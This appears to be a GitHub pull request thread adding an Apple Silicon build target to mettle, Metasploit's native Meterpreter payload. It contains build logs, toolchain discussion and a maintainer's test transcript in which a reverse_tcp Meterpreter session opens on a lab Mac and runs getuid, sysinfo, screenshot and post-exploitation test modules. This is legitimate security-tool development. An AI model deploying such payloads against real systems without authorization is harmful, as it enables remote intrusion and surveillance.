Unpacking mbedtls for /Users/sherbs/mettle/build/aarch64-apple-darwin
Building mbedtls for aarch64-apple-darwin
Unpacking curl for aarch64-apple-darwin
Configuring curl for aarch64-apple-darwin
configure: WARNING: disabling built-in manual
Building curl for aarch64-apple-darwin
mprintf.c:946:10: warning: 'sprintf' is deprecated: This function is provided for compatibility reasons only.  Due to security concerns inherent in the design of sprintf(3), it is highly recommended that you use snprintf(3) instead. [-Wdeprecated-declarations]
        (sprintf)(work, formatbuf, p->data.dnum);
         ^
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/stdio.h:188:1: note: 'sprintf' has been explicitly marked deprecated here
__deprecated_msg("This function is provided for compatibility reasons only.  Due to security concerns inherent in the design of sprintf(3), it is highly recommended that you use snprintf(3) instead.")
^
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/sys/cdefs.h:215:48: note: expanded from macro '__deprecated_msg'
        #define __deprecated_msg(_msg) __attribute__((__deprecated__(_msg)))
                                                      ^
1 warning generated.
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(debug.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(net_sockets.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(aes.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_cache.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(aesni.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(certs.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(arc4.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(aria.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(adler32.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(asn1parse.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(compress.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(pkcs11.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(crc32.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(asn1write.o)) was built for newer macOS version (13.0) than being linked (11.0)object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(deflate.o)) was built for newer macOS version (13.0) than being linked (11.0)

ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_create.o)) was built for newer macOS version (13.0) than being linked (11.0)ld: warning:
object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_ciphersuites.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_crl.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(gzclose.o)) was built for newer macOS version (13.0) than being linked (11.0)object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(base64.o)) was built for newer macOS version (13.0) than being linked (11.0)ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_cli.o)) was built for newer macOS version (13.0) than being linked (11.0)
object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_crt.o)) was built for newer macOS version (13.0) than being linked (11.0)

ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(gzlib.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_cookie.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_msg.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(gzread.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_srv.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(gzwrite.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_ticket.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_tls.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_csr.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509write_crt.o)) was built for newer macOS version (13.0) than being linked (11.0)

ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509write_csr.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(infback.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(inffast.o)) was built for newer macOS version (13.0) than being linked (11.0)
object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(bignum.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(inflate.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(inftrees.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(blowfish.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(camellia.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(trees.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ccm.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(chacha20.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(chachapoly.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(cipher.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(uncompr.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(cipher_wrap.o)) was built for newer macOS version (13.0) than being linked (11.0)ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(zutil.o)) was built for newer macOS version (13.0) than being linked (11.0)

ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(cmac.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ctr_drbg.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(des.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(dhm.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecdh.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecdsa.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecjpake.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecp.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecp_curves.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(entropy.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(entropy_poll.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(error.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(gcm.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(havege.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(hkdf.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(hmac_drbg.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md2.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md4.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md5.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(memory_buffer_alloc.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(nist_kw.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(oid.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(padlock.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pem.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pk.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pk_wrap.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkcs12.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkcs5.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkparse.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkwrite.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(platform.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(platform_util.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(poly1305.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto_se.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto_slot_management.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto_storage.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_its_file.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ripemd160.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(rsa.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(rsa_internal.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(sha1.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(sha256.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(sha512.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(threading.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(timing.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(version.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(version_features.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(xtea.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(everest.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(x25519.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(Hacl_Curve25519_joined.o)) was built for newer macOS version (13.0) than being linked (11.0)
Unpacking libeio for aarch64-apple-darwin
Configuring libeio for aarch64-apple-darwin
Building libeio for aarch64-apple-darwin
Unpacking libev for aarch64-apple-darwin
Configuring libev for aarch64-apple-darwin
Building libev for aarch64-apple-darwin
Unpacking libsigar for aarch64-apple-darwin
Configuring libsigar for aarch64-apple-darwin
./autogen.sh: running `glibtoolize --copy --force'
glibtoolize: putting auxiliary files in '.'.
glibtoolize: copying file './ltmain.sh'
glibtoolize: putting macros in AC_CONFIG_MACRO_DIRS, 'm4'.
glibtoolize: copying file 'm4/libtool.m4'
glibtoolize: copying file 'm4/ltoptions.m4'
glibtoolize: copying file 'm4/ltsugar.m4'
glibtoolize: copying file 'm4/ltversion.m4'
glibtoolize: copying file 'm4/lt~obsolete.m4'
./autogen.sh: running `aclocal'
./autogen.sh: running `automake --add-missing --copy'
configure.ac:19: installing './compile'
configure.ac:5: installing './install-sh'
configure.ac:5: installing './missing'
bindings/lua/Makefile.am: installing './depcomp'
parallel-tests: installing './test-driver'
./autogen.sh: running `autoconf'
Now type './configure --enable-maintainer-mode ...' and 'make' to compile.
Building libsigar for aarch64-apple-darwin
darwin_sigar.c:1164:17: warning: variable 'count' set but not used [-Wunused-but-set-variable]
    int status, count;
                ^
darwin_sigar.c:1512:43: warning: 'kIOMasterPortDefault' is deprecated: first deprecated in macOS 12.0 [-Wdeprecated-declarations]
    service = IOServiceGetMatchingService(kIOMasterPortDefault,
                                          ^~~~~~~~~~~~~~~~~~~~
                                          kIOMainPortDefault
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX13.1.sdk/System/Library/Frameworks/IOKit.framework/Headers/IOKitLib.h:133:19: note: 'kIOMasterPortDefault' has been explicitly marked deprecated here
const mach_port_t kIOMasterPortDefault
                  ^
darwin_sigar.c:1513:61: warning: 'kIOMasterPortDefault' is deprecated: first deprecated in macOS 12.0 [-Wdeprecated-declarations]
                                          IOBSDNameMatching(kIOMasterPortDefault, 0, dname));
                                                            ^~~~~~~~~~~~~~~~~~~~
                                                            kIOMainPortDefault
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX13.1.sdk/System/Library/Frameworks/IOKit.framework/Headers/IOKitLib.h:133:19: note: 'kIOMasterPortDefault' has been explicitly marked deprecated here
const mach_port_t kIOMasterPortDefault
                  ^
3 warnings generated.
Unpacking libdnet for aarch64-apple-darwin
Configuring libdnet for aarch64-apple-darwin
Building libdnet for aarch64-apple-darwin
Configuring mettle for aarch64-apple-darwin
Building mettle for aarch64-apple-darwin
/Users/sherbs/mettle/mettle/src/stdapi/ui/osx_desktop.m:14:88: warning: 'kUTTypeJPEG' is deprecated: first deprecated in macOS 12.0 - Use UTTypeJPEG instead. [-Wdeprecated-declarations]
    CGImageDestinationRef destination = CGImageDestinationCreateWithData(newImageData, kUTTypeJPEG, 1, NULL);
                                                                                       ^
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Headers/UTCoreTypes.h:724:26: note: 'kUTTypeJPEG' has been explicitly marked deprecated here
extern const CFStringRef kUTTypeJPEG                                 API_DEPRECATED("Use UTTypeJPEG instead.", ios(3.0, 15.0), macos(10.4, 12.0), tvos(9.0, 15.0), watchos(1.0, 8.0));
                         ^
1 warning generated.
sherbs@nostromo -> mettle ./build/aarch64-apple-darwin/bin/mettle -h
Usage: mettle [options]
  -h, --help             display help
  -u, --uri <uri>        add connection URI
  -U, --uuid <uuid>      set the UUID (base64)
  -d, --debug <level>    enable debug output (set to 0 to disable)
  -o, --out <file>       write debug output to a file
  -b, --background <0|1> start as a background service (0 disable, 1 enable)
  -p, --persist [none|install|uninstall] manage persistence
  -m, --modules <path>   add modules from path
  -n, --name <name>      name to start as
  -l, --listen
  -c, --console

@Ishaanahuja7
Copy link
Contributor Author

Turns out that nfsstats was changed in macOS 10.14.6. Fixed it in a new PR rapid7/sigar#4

Can build Sigar and Mettle on Monterey on M1 now. I don't have an intel Mac but still should work on it as well.

I'll update the code to reflect the newer Sigar version when that PR gets merged.

@Ishaanahuja7
Copy link
Contributor Author

rapid7/sigar#4 is merged with new tag 1.6.6

Updated the code to reflect that. Sigar and Mettle now builds on macOS Monterey as well

@jmartin-tech
Copy link
Contributor

This is going to take a few more days to get our automation in place for the new artifact to build, it looks like we will need a newer version of Xcode in our pipeline for this artifact as we build on the oldest compatible toolchain available to support legacy devices as much as possible.

Looking at this reference we will need to update to Xcode 12 or later in our automation.

@Ishaanahuja7
Copy link
Contributor Author

Any progress or updates? Is it possible for you to share the automation code, I can give it a shot on my end as well.

@space-r7
Copy link
Contributor

I tested both the x86_64 and aarch64 payloads on Friday, and they worked / passed tests. I still need to test the mic and screenshot functionality. Here's output for x86_64 arch:

x86_64 apple darwin
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.140.1:4444 
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (810648 bytes) to 192.168.140.150
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.150:49777) at 2023-02-17 15:16:11 -0600

meterpreter > getuid
Server username: testing
meterpreter > sysinfo
Computer     : testings-Mac.local
OS           :  (macOS 11.5.2)
Architecture : x64
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter > screenshot
Screenshot saved to: /Users/space/rapid7/metasploit-framework/YgDrskVS.jpeg
meterpreter > open /Users/space/rapid7/metasploit-framework/YgDrskVS.jpeg
[-] Unknown command: open
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > loadpath test/modules
Loaded 38 modules:
    14 auxiliary modules
    13 exploit modules
    11 post modules
msf6 exploit(multi/handler) > use post/test/meterpreter 
msf6 post(test/meterpreter) > options

Module options (post/test/meterpreter):

   Name          Current Setting   Required  Description
   ----          ---------------   --------  -----------
   AddEntropy    false             no        Add entropy token to file and directory names.
   BaseFileName  meterpreter-test  yes       File/dir base name
   SESSION                         yes       The session to run this module on


View the full module info with the info, or info -d command.

msf6 post(test/meterpreter) > set session 1
session => 1
msf6 post(test/meterpreter) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: osx
[*] Running against session 1
[*] Session type is meterpreter and platform is osx
[+] should return a user id
[+] should return a sysinfo Hash
[-] FAILED: should return network interfaces
[-] FAILED: should have an interface that matches session_host
[+] should return network routes
[+] should return the proper directory separator
[+] should return the current working directory
[+] should list files in the current directory
[+] should stat a directory
[+] should create and remove a dir
[+] should change directories
[+] should create and remove files
[+] should upload a file
[+] should move files
[+] should copy files
[+] should do md5 and sha1 of files
[+] should enumerate supported core commands
[+] should support 3 or more core commands
[+] should return its own process id
[+] should return a list of processes
[-] Passed: 18; Failed: 2
[*] Post module execution completed             
msf6 post(test/meterpreter) > use post/test/file
msf6 post(test/file) > set session 1
session => 1
msf6 post(test/file) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: osx
[*] Running against session 1
[*] Session type is meterpreter and platform is osx
[+] should test for directory existence
[+] should create directories
[+] should list the directory we just made
[+] should recursively delete the directory we just made
[+] should delete a symbolic link target
[+] should not recurse into symbolic link directories
[+] should write binary data
[+] should read the binary data we just wrote
[+] should delete binary files
[+] should append binary data
[+] should test for file existence
[+] should create text files
[+] should read the text we just wrote
[+] should append text files
[+] should delete text files
[+] should move files
[+] should expand home
[+] should not expand non-isolated tilde
[+] should not expand mid-string tilde
[+] should not expand env vars with invalid naming
[+] should expand multiple variables
[*] Passed: 21; Failed: 0
[*] Post module execution completed
msf6 post(test/file) > use post/test/cmd_exec
msf6 post(test/cmd_exec) > set session 1
session => 1
msf6 post(test/cmd_exec) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: osx
[*] Running against session 1
[*] Session type is meterpreter and platform is osx
[+] should return the result of echo
[+] should return the full response after sleeping
[+] should return the full response after sleeping
[+] should return the result of echo 10 times
[+] should return the result of echo with single quotes
[+] should return the result of echo with double quotes
[+] should return the stderr output
[*] Passed: 7; Failed: 0
[*] Post module execution completed

@jmartin-tech
Copy link
Contributor

jmartin-tech commented Feb 21, 2023

Work is in progress on the automation now, the primary issue is that this update requires building on a new toolchain for macOS. Currently the build is run in macOS 10.11 with a full Xcode 8.2 install to allow for iOS builds.

To build aarch64-apple-darwin requires updating the base OS to at least 10.15.4+ and Xcode 12+, testing for this has uncovered a possible issue with the difference between headers provided in different versions of Xcode.

vagrant@osx-10_15 libsigar-1.6.6 % make TARGET=x86_64-apple-darwin
Making all in include
make[1]: Nothing to be done for `all'.
Making all in src
Making all in os
Making all in aix
make[3]: Nothing to be done for `all'.
Making all in darwin
  CC       darwin_sigar.lo
darwin_sigar.c:33:8: error: redefinition of 'nfsstats'
struct nfsstats {
       ^
/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include/nfs/nfs.h:481:8: note: previous definition is here
struct nfsstats {
       ^
1 error generated.
make[3]: *** [darwin_sigar.lo] Error 1
make[2]: *** [all-recursive] Error 1
make[1]: *** [all-recursive] Error 1
make: *** [all-recursive] Error 1

Work is ongoing to determine if a newer OS/toolchain is best or if we need to expand on the source.

@jmartin-tech
Copy link
Contributor

Looks like this change also has issues executing the x86_64 compile on M1 systems:

ld: warning: ignoring file /Users/vagrant/mettle/build/x86_64-apple-darwin/lib/libpcap.a, file is universal (x86_64,i386) but does not contain the arm64 architecture: /Users/vagrant/mettle/build/x86_64-apple-darwin/lib/libpcap.a

I am still working out what the build pattern needs to be for this, I may implement a temporary build process to compile M1 binaries on an M1 system for the short term, but this will take a few more days to test out.

@jmartin-tech
Copy link
Contributor

The x86_64 cross compile issue on M1 was tracked down to #241. These PRs can land together once we have a working pattern for the build env we would like to utilize going forward.

@Ishaanahuja7
Copy link
Contributor Author

According to this, macOS 10.15.4 with Xcode 12.2 is ideal as a bare minimum build environment for building both x86_64 and arm64.

@jmartin-tech
Copy link
Contributor

@msjenkins-r7 test this please.

This comment is to trigger testing of build automation support for the added target. With any luck this should be the final puzzle piece to land this PR.

@Ishaanahuja7
Copy link
Contributor Author

Ishaanahuja7 commented Mar 2, 2023

@jmartin-r7 Mettle Compilation/Packaging test PASSED.

Any way to check what the automation code is or logs for this test? When I click details, it sends me back to the pull request page

@jmartin-tech
Copy link
Contributor

The test results and artifacts are being validated now, unfortunately access to results currently requires internal team permissions at this time.

We are looking into ways we might enhance this process to have github actions expose the process more. That work will be outside the scope of landing this PR.

The current build process utilizes macOS VMs created from https://github.com/rapid7/metasploit-vagrant-builders/ building all original artifacts on v1.0.3 which is macOS 10.11 with Xcode 8.2 installed and building the new aarch64-apple-darwin artifact using v1.0.5 which is macOS 11.7 with command line tools only.

@space-r7 space-r7 merged commit 6fe0c2e into rapid7:master Mar 2, 2023
@space-r7
Copy link
Contributor

space-r7 commented Mar 2, 2023

The new builds worked for me. Still some work for the Metasploit side. Thank you @Ishaanahuja7 and @jmartin-r7!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants